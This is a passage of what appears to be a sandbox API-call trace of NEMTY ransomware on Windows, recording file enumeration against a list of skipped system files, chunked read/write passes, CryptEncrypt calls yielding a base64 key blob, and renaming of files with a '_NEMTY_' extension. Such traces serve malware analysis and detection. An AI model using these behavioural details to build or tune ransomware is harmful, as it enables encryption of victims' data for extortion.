[0143.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.113] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.113] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.113] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.132] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.132] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0143.174] CloseHandle (hObject=0xffffffff) returned 0 [0143.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0143.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0143.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\RSSFeeds.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\rssfeeds.css._nemty_kgobjgd_")) returned 0 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.175] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2=".") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="..") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="...") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="windows") returned -1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="$RECYCLE.BIN") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="rsa") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="NTDETECT.COM") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="ntldr") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="MSDOS.SYS") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="IO.SYS") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="boot.ini") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="AUTOEXEC.BAT") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="ntuser.dat") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="desktop.ini") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="CONFIG.SYS") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="RECYCLER") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="BOOTSECT.BAK") returned 1 [0143.175] lstrcmpiW (lpString1="settings.css", lpString2="bootmgr") returned 1 [0143.176] lstrcmpiW (lpString1="settings.css", lpString2="programdata") returned 1 [0143.176] lstrcmpiW (lpString1="settings.css", lpString2="appdata") returned 1 [0143.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0143.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0143.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0143.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0143.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0143.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0143.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0143.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings.css", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings.css", lpUsedDefaultChar=0x0) returned 12 [0143.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0143.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0143.176] Sleep (dwMilliseconds=0x5) [0143.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x8feb1d0, dwHighDateTime=0x1d561e8)) [0143.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x8feb1d0, dwHighDateTime=0x1d561e8)) [0143.190] GetLastError () returned 0x5 [0143.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.190] GetLastError () returned 0x5 [0143.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.190] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0143.190] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0143.190] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0143.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0143.191] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e5dc | out: pszString="VwWUM5OusZ6sIVDjWVmSvvmEaxoYzVmr7k+3r+f+4H4tMiiZz5XqVdBZQClIREY+\r\ni7h6CJGl3zSPTi55jzpileY1UoIdiOE044eEjyhgjEMuCXQe+xyLMF5f6QSHHbdu\r\nbJkm3j5Y3j3BrQYAPGvgkhHyW6uejjX7/KePWhneYgwFJ5N7o3LLhWAG6tbODghM\r\nEa3n3UEpP15j4/Z+jJAQwwFoI7GHnfDyGKrZYaOd8qRuTTBiq8tY7t7dCxnCmYqe\r\ne8hBsXaT6A02/FZbXbSsGxjAqgJPhYii6cuQ/0DG3TJyM3uUjdwwxvA/sWb4cdYh\r\nKTvdfb6o6QCbuDALbdrSaw==\r\n", pcchString=0x653e5dc) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0143.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0143.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0143.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0143.191] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.191] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18150282790955108) returned 0 [0143.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0143.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.200] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.228] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.228] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.228] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, 